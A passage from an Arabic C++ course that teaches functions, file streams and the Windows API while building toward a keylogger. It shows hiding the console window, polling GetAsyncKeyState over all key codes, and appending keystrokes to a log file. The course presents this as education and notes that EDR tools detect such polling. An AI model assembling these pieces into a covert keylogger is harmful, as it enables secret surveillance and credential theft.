  2. لماذا لا يُطبع الرقم 10 في حلقة شرطها i < 10، وما اسم الخطأ الشائع هنا؟
  3. اشرح الفرق بين break و continue بجملة واحدة لكلٍّ منهما.
  4. لماذا تحتاج بعض البرامج حلقةً لا تنتهي أبداً؟ أعطِ مثالين غير الذي ورد في النصّ.
  5. لو استبدلت i++ بـ i += 3 في حلقة من 0 إلى 10، ما الأرقام التي ستُطبع؟

القسم 6القسم 6: الدوال

حتى الآن كتبت كل سطر من برنامجك داخل main()، من أعلاه إلى أسفله، دفعةً واحدة. هذا يكفي ما دام البرنامج صغيراً — لكن الـ Keylogger الذي نتّجه إليه ليس صغيراً. لو تركنا كل منطقه في كتلة واحدة، لصار main() مئات الأسطر التي لا يقرأها أحد ولا يصلحها أحد. الحل هو أقدم فكرة في هندسة البرمجيات وأكثرها فائدة: تقسيم الكود إلى دوال — وحدات مُسمّاة، كل واحدة تؤدّي مهمّة، تكتبها مرّة وتستدعيها كلّما احتجتها.

ما هي الدالة؟ زرّ في الآلة الحاسبة

تخيّل زرّ الجذر التربيعي √ في حاسبتك. تضغطه فتحصل على الجذر فوراً، ولا يخطر ببالك أن تسأل عن الخوارزمية بداخله — من كتبها، وكيف تحسب، وكم سطراً استغرقت. أنت تعرف ماذا يفعل الزر وتثق به، وهذا كل ما يلزمك.

الدالة في البرمجة هي هذا الزر بالضبط: كتلة كود مكتوبة مرّة واحدة، أعطيتها اسماً، فصرت تستدعيها بذلك الاسم كلّما احتجت ما تفعله — دون أن تعيد كتابة محتواها ولا أن تتذكّر تفاصيله. أبسط مثال:

cpp
void sayHello() {
    cout << "Hello from a function!" << endl;
}

// الاستدعاء (Call):
sayHello();      // طبع: Hello from a function!
sayHello();      // طبع: Hello from a function!  ← يمكن استدعاؤها مراراً

السطران الأخيران هما الاستدعاء (call). كل مرّة تكتب فيها sayHello(); يقفز التنفيذ إلى داخل الدالة، يُنفّذ سطرها، ثم يعود إلى حيث كنت. كتبت جملة الطباعة مرّة، ونفّذتها مرّتين — ولو أردت ألف مرّة لكفاك سطر الاستدعاء مكرّراً، لا الكود.

ولماذا نتكبّد هذا التقسيم أصلاً؟ لثلاث فوائد كبرى تستحق أن تحفظها:

  1. عدم التكرار: اكتب الكود مرّة، استخدمه آلاف المرّات. لو تغيّر المنطق يوماً، تُصلحه في مكان واحد فينعكس على كل الاستدعاءات.
  2. القراءة: دالّة main() فيها خمسة استدعاءات بأسماء واضحة أوضح بمراحل من main() فيها خمسمئة سطر متلاصقة. الاسم الجيّد يشرح نفسه.
  3. الاختبار: كل دالّة تُختبر منفصلةً عن غيرها. حين يخطئ البرنامج، تعرف أيّ صندوق تفتح بدل أن تنبش في كومة واحدة.

صيغة الدالة — كل جزء مشروح

قبل أن نكتب دوالّنا، لنفكّك سطر التعريف نفسه. خذ هذا المثال وتأمّل أجزاءه الأربعة:

text
int    add    ( int a, int b )    {
 ↑      ↑          ↑              ↑
نوع    اسم       المعاملات      جسم الدالة
الإرجاع  الدالة   (مدخلات)       (الكود الفعلي)
}

كل جزء يحمل معنىً محدّداً، والجدول التالي يجمعها:

الجزءماذا يحدّد
نوع الإرجاعما الذي ستُرجعه الدالة (int, void, bool, string، إلخ)
اسم الدالةما تسمّيها به للاستدعاء — اختر اسماً واضحاً يصف ما تفعله
المعاملات (params)المدخلات التي تأخذها — قد تكون فارغة () أو بقيم متعدّدة
جسم الدالة { }الكود الذي يُنفّذ عند الاستدعاء

اقرأ السطر إذاً من اليسار: «دالّة تُرجع int، اسمها add، تأخذ عددين صحيحين a و b، وما تفعله بهما مكتوب بين القوسين المعقوفين». هذه هي الجملة نفسها التي سيقولها كل تعريف دالّة تكتبه من الآن.

void مقابل الأنواع المُرجِعة

أهمّ قرار تتّخذه عند كتابة دالّة هو نوع إرجاعها، وهنا ينقسم العالم إلى فئتين. قد تسأل: ما الفرق بين دالّة تُعطيني قيمة ودالّة لا تُعطيني شيئاً — أليست كلتاهما «تفعل» شيئاً؟ الفرق جوهريّ. انظر إليهما جنباً إلى جنب:

cpp
// دالة بقيمة مُرجَعة (int)
int square(int x) {
    return x * x;
}
int y = square(5);
// y = 25   ← القيمة تُسلَّم للمتغيّر
cpp
// دالة void
void greet(string n) {
    cout << n << endl;
}
greet("Hi");
// طُبع "Hi"   ← لا قيمة، فعل فقط

دالّة square تحسب شيئاً وتُسلّمه لك عبر الكلمة المفتاحية return، فتستطيع أن تلتقط ناتجها في متغيّر وتستعمله. أمّا greet فنوعها void — وهذه الكلمة معناها حرفيّاً «فراغ»: الدالّة تُنجز عملاً (تطبع سطراً) لكنّها لا تُرجع أيّ قيمة تلتقطها.

والقاعدة التي تحكم اختيارك بينهما بسيطة:

  • استعمل void حين تريد من الدالّة أن تفعل شيئاً دون نتيجة تُعيدها — تطبع على الشاشة، تكتب في ملف، تعدّل متغيّراً عامّاً.
  • استعمل نوعاً مُرجِعاً حين تريد من الدالّة أن تحسب شيئاً وأنت محتاج للنتيجة — حسابات، فحوصات، تحويلات.

وهذا التمييز ليس أكاديميّاً، بل ستعيشه في الـ Keylogger مباشرةً: الدالّتان hide() و log() كلتاهما void — تفعلان أشياء (تُخفي نافذة، تسجّل الضغطات) ولا تُرجعان قيماً لأحد ينتظرها.

⚠️ تحذير: لو نسيت return في دالّة نوعها ليس void، فالـ Compiler يحذّرك. لا تتجاهل هذا التحذير — تجاهله يعني سلوكاً غير محدّد (undefined behavior)، أي أنّ برنامجك قد يعطي قيمةً عشوائيّة أو ينهار، وقد يختلف تصرّفه من تشغيل لآخر. عالِج كل تحذير من الـ Compiler كأنّه خطأ.

معمل: دالّة بقيمة مُرجَعة + دالّة void

افتح VS Code الآن واكتب هذا الكود بنفسك — لا تنسخه بالعين، بل اطبعه بأصابعك حتى تألف الصيغة. سنكتب دالّتين: square تُرجع قيمة، و shout من نوع void تطبع فقط، ثم نستدعيهما من main().

cpp
#include <iostream>
using namespace std;

int square(int x) {
    return x * x;
}

void shout(string word) {
    cout << "*** " << word << " ***" << endl;
}

int main() {
    int result = square(7);
    cout << "7 squared = " << result << endl;
    cout << "5 squared = " << square(5) << endl;
    shout("Hello");
    shout("Keylogger");
    return 0;
}

لاحظ الفرق في كيفية الاستعمال: مرّةً التقطنا ناتج square(7) في متغيّر result ثم طبعناه، ومرّةً مرّرنا square(5) مباشرةً إلى cout لأنّ قيمته تحلّ محلّها في التعبير. أمّا shout فلا نلتقط منها شيئاً، بل نستدعيها لأثرها وحده. احفظ الملف باسم funcs.cpp، ثم صرّفه وشغّله:

text
g++ funcs.cpp -o funcs.exe
.\funcs.exe

والنتيجة المتوقّعة على الشاشة:

text
7 squared = 49
5 squared = 25
*** Hello ***
*** Keylogger ***

السطران الأوّلان جاءا من دالّة تُرجع قيمة، والسطران الأخيران من دالّة تطبع فقط. لو رأيت هذا الخرج بالضبط، فقد فهمت الفرق بين الفئتين عمليّاً لا نظريّاً.

main() — قائد الأوركسترا

بقيت قطعة أخيرة، وهي أهمّ استعمال للدوال ستراه في هذا الكورس كلّه. حتى الآن عاملنا main() كصندوق نحشو فيه كل شيء. لكنّ الاستعمال الأنضج معاكس تماماً: اجعل main() قصيرةً جدّاً، لا تفعل شيئاً ثقيلاً بنفسها، بل تستدعي دوالّ أخرى بالترتيب الصحيح — كقائد أوركسترا لا يعزف آلةً واحدة، بل يشير للعازفين متى يدخل كلٌّ منهم.

cpp
void step1() { cout << "Hide window...\n"; }
void step2() { cout << "Init logger...\n"; }
void step3() { cout << "Start loop...\n"; }

int main() {
    step1();   // ينفّذ خطوة 1
    step2();   // ينفّذ خطوة 2
    step3();   // ينفّذ خطوة 3
    return 0;
}

انظر إلى main() هنا: ثلاثة أسطر، كلٌّ منها اسمٌ يشرح نفسه. لا حاجة أن تقرأ داخل step1 لتعرف أنّها تُخفي النافذة — الاسم يقول. صارت main() أشبه بـ خريطة: قراءتها وحدها تعطيك فهم البرنامج كاملاً في خمسة أسطر، والتفاصيل الثقيلة مخبّأة داخل كل خطوة، تفتحها فقط حين تحتاج.

وهذا بالضبط ما ستفعله main() في الـ Keylogger النهائي حين نصل إليه:

cpp
int main() {
    hide();   // 1. أخفِ النافذة
    log();    // 2. ابدأ حلقة التسجيل اللا نهائية
    return 0;
}

سطران فقط داخل main()، وكل التعقيد الحقيقيّ يعيش داخل hide() و log(). من يقرأ هذين السطرين يفهم نيّة البرنامج فوراً: يختفي، ثم يسجّل. هذه هي قوّة الدوال — لا في أنّها توفّر التكرار فحسب، بل في أنّها تجعل الكود يحكي قصّته بنفسه.

خلاصة القسم

تعلّمت في هذا القسم أنّ الدالّة كودٌ مُسمّى يُكتب مرّةً ويُستدعى مراراً، وأنّ صيغتها هي نوع_الإرجاع اسم (معاملات) { جسم }. فرّقت بين void التي لا تُرجع شيئاً وبين النوع المُرجِع الذي يسلّمك قيمةً قابلة للاستعمال، وعرفت متى تختار كلّاً منهما. وأدركت أنّ main() هي نقطة دخول البرنامج، وأنّ الأفضل أن تكون مدير أوركسترا: سلسلة استدعاءات مرتّبة، لا كتلة منطق منتفخة — تماماً كما ستراها في الـ Keylogger حين تستدعي hide() ثم log() فتكشف نيّة البرنامج في سطرين. تأكّد أنّك تستطيع شرح كل نقطة من هذه لزميلك قبل الانتقال إلى القسم التالي.

اختبر نفسك

  1. اذكر فائدتين على الأقلّ من فوائد تقسيم الكود إلى دوال بدل كتابته كلّه في main().
  2. فكّك تعريف الدالّة int add(int a, int b) إلى أجزائه الأربعة، وسمِّ كلّ جزء.
  3. متى تختار نوع إرجاع void ومتى تختار نوعاً مُرجِعاً مثل int؟ أعطِ مثالاً لكلٍّ منهما من الـ Keylogger أو من خارجه.
  4. في المعمل، لماذا استطعنا كتابة square(5) داخل cout مباشرةً بينما احتاجت shout("Hello") أن تُستدعى وحدها في سطرها؟
  5. لو نظرت إلى main() في الـ Keylogger فوجدتها سطرين فقط (hide() ثم log())، فماذا يخبرك هذا عن نيّة البرنامج، وأين يعيش التعقيد الفعليّ؟

القسم 7القسم 7: الملفات والـ Streams

حتى هذه اللحظة كان كلّ ما يُنتجه برنامجك يظهر على الشاشة ثمّ يختفي. تُشغّله، تقرأ المخرجات، تُغلق النافذة — ولا يبقى شيء. لكن أيّ أداة حقيقيّة تحتاج أن تحفظ: أن تكتب نتيجةً على القرص تبقى بعد أن ينتهي البرنامج. وهنا يدخل مفهوم الـ stream، وهو المفهوم الذي — بمجرّد أن تفهمه مرّةً واحدة — يفتح لك الكتابة إلى الملفات، والقراءة منها، بل والتعامل مع الشبكة لاحقاً، كلّها بنفس القواعد التي تعرفها أصلاً.

ما هو الـ Stream — التيار؟

كلمة stream تعني «تيار»، والصورة الذهنيّة التي نريدك أن تحملها هي صورة الماء الجاري: سلسلة من البايتات تتدفّق إلى جهازٍ ما أو تخرج منه. الجهاز في الطرف الآخر قد يكون الشاشة، أو لوحة المفاتيح، أو ملفّاً على القرص، أو حتى اتّصال شبكة. المهمّ أنّ C++ لا تُميّز بينها في طريقة التعامل: كلّها «تيارات بايتات»، وكلّها تُخاطَب بنفس الواجهة.

قد تسأل: لماذا هذا التوحيد مهمّ إلى هذه الدرجة؟ لأنّه يعني أنّك حين تعلّمت cout في بداية هذه المادّة، كنت — دون أن تدري — تتعلّم كيف تكتب في ملف، وكيف تُرسل عبر الشبكة. العامل << الذي يدفع النصّ إلى الشاشة هو نفسه العامل الذي يدفعه إلى القرص. تعلّمت واحداً، تعلّمت الكلّ.

هذه هي الـ streams الأربعة التي ستستعملها، ومن أين إلى أين يجري كلّ تيّار، وفي أيّ مكتبة يسكن:

Streamإلى أين / من أينالمكتبة
coutالشاشة (output)iostream
cinلوحة المفاتيح (input)iostream
ofstreamملف للكتابة (output file stream)fstream
ifstreamملف للقراءة (input file stream)fstream

لاحظ التسمية، فهي ليست عشوائيّة: الحرف o في ofstream هو output، والحرف i في ifstream هو input، والجزء fstream هو file stream — تيّار ملفّ. المتعلّم لـ cout يعرف فوراً كيف يكتب في ملفّ بـ ofstream، لأنّه لا يوجد شيء جديد يتعلّمه سوى من أين يأتي الكائن.

نفس الـ Syntax: من cout إلى ofstream

لنضع الكودين جنباً إلى جنب حتى ترى بعينك كم هما متطابقان. أوّلاً الكتابة إلى الشاشة كما اعتدت:

cpp
// إلى الشاشة:
#include <iostream>
using namespace std;

cout << "Hello";
cout << 42;

والآن الكتابة إلى ملفّ:

cpp
// إلى ملف:
#include <fstream>
using namespace std;

ofstream f("out.txt");
f << "Hello";
f << 42;
f.close();

انظر إلى السطرين f << "Hello"; و f << 42; — إنّهما نفس cout << ... حرفاً بحرف، إلّا أنّنا استبدلنا cout باسمٍ اخترناه نحن هو f. هذا كلّ ما في الأمر. الاختلافات الحقيقيّة ثلاثة فقط، لا رابع لها:

  1. تُضمّن #include <fstream> بدل <iostream>، لأنّ كائنات الملفّات تعيش في مكتبة أخرى.
  2. تُنشئ كائن ofstream بنفسك بدل أن تستعمل cout الجاهز. cout كان موجوداً سلفاً لأنّ الشاشة دائماً هناك؛ أمّا الملفّ فأنت من يقرّر اسمه ويفتحه، فلا بدّ أن تصنع الكائن الذي يمثّله.
  3. تستدعي close() في النهاية.

لماذا close()؟

هذه النقطة الثالثة تستحقّ وقفة، لأنّ إهمالها يُنتج أخطاءً محيّرة يصعب تفسيرها. حين تكتب إلى ملفّ، لا تنزل البايتات إلى القرص فوراً في اللحظة نفسها. بدلاً من ذلك يحتفظ نظام التشغيل بها في منطقة ذاكرة مؤقّتة تُسمّى الـ buffer، ثمّ يُفرغها إلى القرص دفعةً واحدة حين يمتلئ الـ buffer أو حين تُغلق الملفّ. السبب أداء: الكتابة إلى القرص بطيئة، فجمع الكتابات وإنزالها مرّةً واحدة أسرع بكثير من إنزال كلّ حرف على حدة.

لكنّ لهذا ثمناً: إن انتهى برنامجك فجأةً والـ buffer لم يُفرَّغ بعد، تضيع آخر السطور. نظام التشغيل يحتفظ كذلك بمؤشّرٍ للملفّ المفتوح، ولكلّ عمليّة عددٌ محدود من هذه المؤشّرات. استدعاء close() يحلّ المشكلتين معاً: يُجبر الـ buffer على النزول إلى القرص فيضمن وصول كلّ ما كتبته، ويُحرّر المؤشّر فيُعيده لنظام التشغيل. اجعلها عادةً: كلّ ofstream تفتحه، أغلقه.

معمل: اكتب في ملفّ لأوّل مرّة

افتح VS Code الآن واكتب هذا الكود بنفسك — لا تنسخه، اكتبه، فاللمسة تُثبّت الفكرة:

cpp
#include <iostream>
#include <fstream>
using namespace std;

int main() {
    cout << "This goes to the screen" << endl;

    ofstream file("output.txt");
    file << "This goes to a file" << endl;
    file.close();

    cout << "Check output.txt!" << endl;
    return 0;
}

لاحظ أنّ البرنامج الواحد يستعمل الـ streamـين معاً: cout يذهب إلى الشاشة، و file يذهب إلى القرص، وكلاهما بنفس العامل <<. حين تُشغّله سترى في الـ Terminal سطرين فقط:

text
This goes to the screen
Check output.txt!

السطر الأوسط — This goes to a file — لن يظهر على الشاشة، لأنّه لم يُرسَل إليها؛ أُرسل إلى الملفّ. افتح output.txt الذي ظهر في مجلّد التشغيل وستجده هناك:

text
This goes to a file

تفصيل السطر ofstream file("output.txt")

هذا السطر يفعل شيئين في لحظة واحدة. أوّلاً يُنشئ ملفّاً باسم output.txt في نفس مجلّد التشغيل — وهنا التحذير الذي يجب أن يُدقّ في ذهنك: لو كان الملفّ موجوداً سلفاً، يُمحى محتواه بالكامل. ثانياً يربط الكائن file بهذا الملفّ حتى يعرف العامل << إلى أين يدفع البايتات. أمّا الاسم file فاخترناه نحن ولا شيء مقدّس فيه؛ كان يمكن أن يكون out أو log أو writer أو أيّ اسمٍ يصف وظيفته. المهمّ هو النوع ofstream، لا الاسم.

ios::app: الكتابة بدون مسح المحتوى السابق

عند هذه النقطة يظهر سؤال طبيعيّ: إن كان فتح الملفّ يمسح محتواه في كلّ مرّة، فكيف نبني شيئاً يُراكم — سجلّاً ينمو مع الوقت بدل أن يبدأ من الصفر عند كلّ تشغيل؟ هذه ليست مسألة نظريّة؛ إنّها بالضبط المشكلة التي ستصطدم بها في أوّل أداة حقيقيّة تكتبها.

تأمّل ما يحدث في الوضع الافتراضيّ:

cpp
// الوضع الافتراضي:
ofstream f("log.txt");
// ↑ يمسح log.txt كلياً ويفتحه للكتابة

f << "hello";
// log.txt = "hello"

كلّ تشغيل يبدأ بمحوٍ كامل ثمّ كتابة جديدة. تخيّل الآن أداة Keylogger تستدعي هذا السطر عند كلّ ضغطة مفتاح: النتيجة كارثة، لأنّ كلّ ضغطة تمحو كلّ ما سُجّل قبلها، فينتهي الملفّ دائماً بحرفٍ واحد. ما تريده هو العكس تماماً: أن تُضاف كلّ كتابة جديدة إلى نهاية الملفّ دون أن تمسّ ما سبقها. وهذا ما تفعله راية الفتح ios::app — اختصار append، أي «ألحِق»:

cpp
// مع ios::app (append):
ofstream f("log.txt", ios::app);
// ↑ يفتح الملف للإضافة بدون مسح

f << "hello";
// log.txt = ما كان + "hello"

الفرق كلّه في معامل ثانٍ صغير تُمرّره عند فتح الملفّ. بدونه يمسح ويكتب؛ معه يذهب إلى آخر الملفّ ويُلحق. في الـ Keylogger الذي ستبنيه لاحقاً سيكون السطر بالضبط:

cpp
ofstream write(LOG_FILE, ios::app);

وبهذا تُضاف كلّ ضغطة مفتاح إلى النهاية، ويبقى كلّ ما سُجّل سابقاً سليماً — تماماً كملفّ سجلّ حقيقيّ ينمو سطراً بعد سطر. ومن هنا القاعدة التي تستحقّ أن تحفظها: الوضع الافتراضيّ يصلح لملفّ نتيجة تكتبه مرّةً، أمّا ios::app فهو الوضع الذي يهمّ في كلّ شيء يُسجّل، أيّ شيء يجب أن يتراكم لا أن يُستبدل.

معمل: شغّل البرنامج مرّتين، شاهد النتيجة

أفضل طريقة لتشعر بالفرق أن تراه بعينك عبر التشغيل المتكرّر. اكتب هذا البرنامج القصير:

cpp
#include <fstream>
using namespace std;

int main() {
    ofstream f("log.txt", ios::app);
    f << "Run added a line\n";
    f.close();
    return 0;
}

ثمّ اتبع الخطوات بالترتيب:

  1. احفظ الملفّ باسم app.cpp.
  2. صرّفه (compile) ثمّ شغّله.
  3. شغّله مرّةً ثانية.
  4. شغّله مرّةً ثالثة.
  5. افتح log.txt.

ستجد ثلاثة أسطر، سطراً لكلّ تشغيل، والملفّ لم يُمسح بينها:

text
Run added a line
Run added a line
Run added a line

والآن التجربة المضادّة التي تُثبّت الدرس: احذف ios::app من السطر — أي اجعله ofstream f("log.txt"); — وأعد التشغيل ثلاث مرّات. ستجد في كلّ مرّة سطراً واحداً فقط، لأنّ كلّ تشغيل مسح ما قبله. سطرٌ واحد مقابل ثلاثة أسطر: هذا هو الفرق بين الكتابة التي تُبدّل والكتابة التي تُراكم، ومن هنا يصبح واضحاً لماذا لا يمكن لأيّ أداة تسجيل أن تعمل بدون وضع الإلحاق.

ملخّص القسم

قبل أن تنتقل، تأكّد أنّك تستطيع شرح كلّ نقطة من هذه لزميلك بكلماتك أنت:

  • الـ stream تيّار بايتات إلى جهازٍ أو منه — شاشة، ملفّ، أو شبكة — والفكرة واحدة في كلّ الحالات.
  • نفس العامل << يخدم كلّ الـ streams، فتعلّم cout يعني تعلّم ofstream مجّاناً.
  • ofstream للكتابة و ifstream للقراءة، وكلاهما من مكتبة fstream.
  • f.close() مهمّ لأنّه يضمن نزول الـ buffer إلى القرص ويحرّر مؤشّر الملفّ.
  • ios::app هو وضع الإلحاق: يُضيف إلى النهاية دون مسح المحتوى السابق.
  • في الـ Keylogger يظهر هذا كلّه في سطرٍ واحد: ofstream write(LOG_FILE, ios::app); — كلّ مفتاح يُضاف، ولا يُمسح شيء.

اختبر نفسك

  1. اشرح بكلماتك لماذا تستطيع C++ أن تستعمل نفس العامل << للكتابة على الشاشة وللكتابة في ملفّ. ما المفهوم الذي يجعل هذا ممكناً؟
  2. ما الأشياء الثلاثة التي تختلف فيها الكتابة إلى ملفّ عن الكتابة إلى الشاشة؟
  3. ما الذي يضمنه استدعاء close()، وأيّ خطأ قد يظهر لو نسيته؟
  4. لديك برنامج يفتح data.txt بـ ofstream f("data.txt"); ويكتب فيه، وتُشغّله كلّ يوم. بعد أسبوع، كم يوماً من البيانات يحتوي الملفّ؟ ولماذا؟
  5. في أداة تسجيل تستدعي فتح الملفّ عند كلّ ضغطة مفتاح، أيّ راية فتحٍ يجب أن تستعمل، وماذا يحدث بدونها؟

القسم 8القسم 8: Windows API — كيف نتحدّث مع نظام التشغيل

حتى هذه اللحظة كان كلّ ما كتبته مكتفياً بذاته. cout يطبع، if يقرّر، for يكرّر، ofstream يكتب ملفاً. كلّ هذا من مكتبة C++ القياسيّة، وكلّه يعمل على Windows وعلى Linux وعلى macOS بلا تغيير سطر واحد.

لكنّ السؤال الذي يبدأ منه هذا الفصل كلّه — «أيّ مفتاح ضغط المستخدم الآن؟» — لا تملك C++ القياسيّة جواباً له. ولا تملك جواباً لـ «أخفِ هذه النافذة». هذه ليست أشياء تعرفها اللغة؛ هذه أشياء يعرفها نظام التشغيل. ولكي تسأله، تحتاج طريقةً للكلام معه.

تلك الطريقة اسمها الـ API.


ما هو الـ API؟

الاختصار يعني Application Programming Interface، أي واجهة برمجة التطبيقات. والتعريف العمليّ أبسط ممّا يوحي الاسم: مجموعة دوال جاهزة يقدّمها نظام أو مكتبة لبرنامجك، لتستخدم خدماتها دون أن تعرف كيف تعمل من الداخل.

التشبيه الذي يثبت في الذهن هو المطعم. أنت تقرأ المنيو، تطلب طبقاً، يصلك جاهزاً. لا تدخل المطبخ، ولا تعرف كيف أُعدّ الطبق، ولا يهمّك. المنيو هو الـ API: عقد مكتوب بين طرفين، يقول لك ما تستطيع طلبه وما ستحصل عليه مقابله.

أنت تستعمل واجهات كهذه كلّ يوم دون أن تسمّيها:

الواجهةما تقدّمه
Google Maps APIيجعل تطبيقاً يعرف موقعك
Twitter APIيقرأ التغريدات برمجيّاً
Stripe APIيقبل الدفعات

وفي برمجة الأنظمة — وهي مجالنا — تتغيّر الأسماء ويبقى المبدأ:

الواجهةالنظام
Windows APIWindows
POSIX APILinux و macOS
OpenGL APIالرسوميات

وهنا نقطة تستحقّ التوقّف، لأنّها تُساء فهمها كثيراً: الدوال التي سنستعملها بعد قليل ليست حِيَلاً ولا ثغرات. هي دوال موثّقة رسميّاً تنشرها Microsoft على Microsoft Learn، بمعاملاتها وقيمها المُرجَعة وأمثلتها. أيّ برنامج على جهازك يستعملها. الفرق بين برنامج عاديّ وبرنامج خبيث ليس في الدوال التي ينادي عليها، بل في النيّة والسياق — وهذه فكرة ستلاحقك في كلّ فصل قادم من هذا المعسكر.


Windows API — تاريخ مختصر

بدأ الـ Windows API عام 1985 مع Windows 1.0 باسم Win16، أي بمعماريّة 16-bit. وفي 1993 صدر Windows NT 3.1 ومعه Win32: نسخة شاملة بآلاف الدوال. اليوم نستعمل Win32 نفسها مع إضافات Win64.

لاحظ ما يعنيه هذا: الواجهة نفسها منذ أكثر من ثلاثين سنة. كود كُتب عام 1995 ما يزال يُترجَم ويعمل اليوم. هذا الالتزام بعدم كسر ما سبق هو سرّ بقاء هذا النظام البيئيّ حيّاً — وهو أيضاً سبب أنّ أمثلة قديمة جدّاً تجدها على الإنترنت ما تزال تعمل حرفيّاً.

الباب إلى كلّ هذا سطر واحد:

cpp
#include <windows.h>

بهذا السطر تصير تحت يدك GetAsyncKeyState و MessageBox و CreateFile و ShowWindow و VirtualAlloc و RegOpenKeyA، وآلاف غيرها.

الدوال التي ستلقاها أكثر من سواها في هذا الفصل:

الدالةما تفعله
MessageBoxAنافذة منبثقة
GetAsyncKeyStateحالة مفتاح في لحظة السؤال
FindWindowAالبحث عن نافذة
ShowWindowإظهار نافذة أو إخفاؤها
Sleepتوقّف لمدّة محدّدة

🧪 معمل: أوّل اتّصال مع Windows API

افتح VS Code الآن واكتب هذا الكود بنفسك. لا تنسخه — اكتبه.

cpp
#include <windows.h>

int main() {
    MessageBoxA(
        NULL,                   // لا parent window
        "Hello from Win32!",    // النص
        "C++ Lesson",           // العنوان
        MB_OK                   // زر OK فقط
    );
    return 0;
}

الخطوات: احفظ الملف باسم msgbox.cpp، ثمّ

bash
g++ msgbox.cpp -o msgbox.exe
.\msgbox.exe

ستظهر أمامك نافذة رسميّة من Windows.

قف عند ما حدث للتوّ. بسطر واحد حصلت على نظام النوافذ كاملاً: الإطار، الزرّ، الخطّ، الظلّ، استجابة الفأرة، سلوك لوحة المفاتيح. لم تكتب منها شيئاً. هذه هي قوّة الـ API: عمل عشرات المبرمجين على مدى سنوات، تستدعيه بكلمة.


Virtual Key Codes — رقم موحّد لكلّ مفتاح

قبل أن نسأل «هل ضُغط مفتاح A؟» علينا أن نتّفق على ما يعنيه «A».

المشكلة حقيقيّة: لوحات المفاتيح مختلفة. عربيّة، إنجليزيّة، فرنسيّة، QWERTY، AZERTY. الحرف الذي يقع تحت إصبعك في لوحة قد يقع تحت إصبع آخر في لوحة ثانية.

حلّ Windows أنيق: يعطي رقماً موحّداً لكلّ وظيفة مفتاح، بصرف النظر عن الترتيب الفيزيائيّ أو لغة اللوحة. هذه الأرقام اسمها Virtual Key Codes.

المفتاحDecHexالثابت في windows.h
A650x41(يطابق ASCII)
Z900x5A(يطابق ASCII)
0480x30(يطابق ASCII)
Space320x20VK_SPACE
Enter130x0DVK_RETURN
Backspace80x08VK_BACK
Shift160x10VK_SHIFT
Escape270x1BVK_ESCAPE

لاحظ الصفوف الثلاثة الأولى: رموز الحروف والأرقام تطابق ASCII. هذا ليس مصادفةً، وهو ما سيجعل ترجمة الرقم إلى حرف في القسم التالي سهلةً إلى حدّ يثير الدهشة. تذكّر سرّ الـ 32 من القسم 3؛ ستحتاجه بعد صفحات قليلة.


GetAsyncKeyState — كيف نسأل عن حالة مفتاح

هذه الدالة تفحص حالة مفتاح في لحظة استدعائها. كلمة Async تعني غير متزامنة: هي لا تنتظر حدثاً ولا تعترض شيئاً، بل تسأل سؤالاً وتُجيب فوراً عن اللحظة الحاليّة.

تأخذ Virtual Key Code وتُرجع رقماً من نوع SHORT — أي 16-bit — والمعلومة ليست في الرقم ككلّ، بل في بتّات بعينها داخله:

cpp
SHORT result = GetAsyncKeyState(0x41);   // فحص مفتاح 'A'

// تفسير الرقم:
//   bit 15 (الأعلى) = 1 → المفتاح مضغوط الآن
//   bit 0  (الأدنى) = 1 → المفتاح ضُغط منذ آخر استدعاء

الآن السؤال الذي يحيّر كلّ من يقرأ كود keylogger لأوّل مرّة: لماذا نقارن بـ -32767 تحديداً؟

الجواب حساب بسيط. لو كان البتّان معاً = 1، فالقيمة 0x8001. وبما أنّ bit 15 في نوع ذي إشارة هو بتّ الإشارة، فإنّ 0x8001 تُقرأ على أنّها -32767.

ولماذا ليست -32768؟ لأنّ -32768 تعني أنّ bit 15 وحده مضبوط: المفتاح مضغوط، لكنّه لم يُضغط حديثاً — أي أنّك ممسك به منذ لحظة سابقة. أمّا -32767 فتعني أنّ bit 0 مضبوط أيضاً: ضُغط للتوّ.

هذا الفرق بين رقمين متجاورين هو بالضبط ما يمنع تسجيل المفتاح الواحد ألف مرّة لأنّك أبقيت إصبعك عليه ثانيةً واحدة.

cpp
for (c = 8; c < 222; c++) {
    if (GetAsyncKeyState(c) == -32767) {
        // ضُغط هذا المفتاح للتوّ وما زال مضغوطاً
    }
}

ولماذا النطاق من 8 إلى 222؟ نتجاهل 0-7 لأنّ لوحة المفاتيح لا تستعملها، ونتجاهل ما فوق 222 لأنّها محجوزة للنظام. ما بينهما يغطّي كلّ مفتاح قابل للضغط.

ملاحظة من Microsoft. توصية Microsoft الرسميّة هي فحص & 0x8000 بدل المقارنة المباشرة بـ -32767. الطريقة التي نستعملها هنا تعمل، وهي الأشيع في الأمثلة التعليميّة، لكنّ الطريقة الموصى بها أنظف. اعرف الاثنتين.
حقيقة دفاعيّة، وهي الأهمّ في هذا القسم. أنظمة EDR الحديثة تكتشف الـ polling على GetAsyncKeyState داخل حلقة لا نهائيّة فوراً. النمط نفسه — حلقة ضيّقة تسأل عن كلّ مفتاح آلاف المرّات في الثانية — توقيع كافٍ وحده. ما نبنيه هنا يعمل، ويُعلّم، ولن ينجو من أيّ مضادّ فيروسات حديث. هذا مقصود: نحن نتعلّم الآليّة لنعرف كيف تُكتشَف، لا لننشرها.

إخفاء النافذة: ثلاثيّة AllocConsole و FindWindowA و ShowWindow

برنامج console يفتح نافذةً سوداء. هذا مقبول وأنت تتعلّم، وفاضح تماماً في أيّ سياق آخر. إخفاؤها يحتاج ثلاث دوال متتابعة:

cpp
HWND stealth;                                        // مقبض النافذة
AllocConsole();                                      // أنشئ console جديداً
stealth = FindWindowA("ConsoleWindowClass", NULL);   // ابحث عنها بالاسم
ShowWindow(stealth, 0);                              // 0 = SW_HIDE → أخفِها

سطراً سطراً:

  • AllocConsole() تخصّص console جديداً للبرنامج، وهي ضروريّة لو كان البرنامج من نوع GUI بلا console أصلاً.
  • FindWindowA(class, title) تبحث عن نافذة بنوعها أو عنوانها، وتُرجع مقبضاً (HWND). المقبض ليس النافذة نفسها، بل رقم يعرّفها عند النظام — مثل رقم تذكرة.
  • ShowWindow(hwnd, cmd) تتحكّم بظهور النافذة. 0 تعني SW_HIDE، و 1 تعني SW_SHOWNORMAL.

و "ConsoleWindowClass" ليس سرّاً ولا اكتشافاً: هو اسم الصنف الذي يسجّله conhost.exe لكلّ نوافذ الـ console في Windows، وهو موثّق.


🧪 معمل: أخفِ نافذة الـ Console

cpp
#include <windows.h>
#include <iostream>
using namespace std;

void hide() {
    HWND stealth;
    AllocConsole();
    stealth = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(stealth, 0);
}

int main() {
    cout << "Hiding in 3 sec..." << endl;
    Sleep(3000);
    hide();
    Sleep(5000);
    return 0;
}

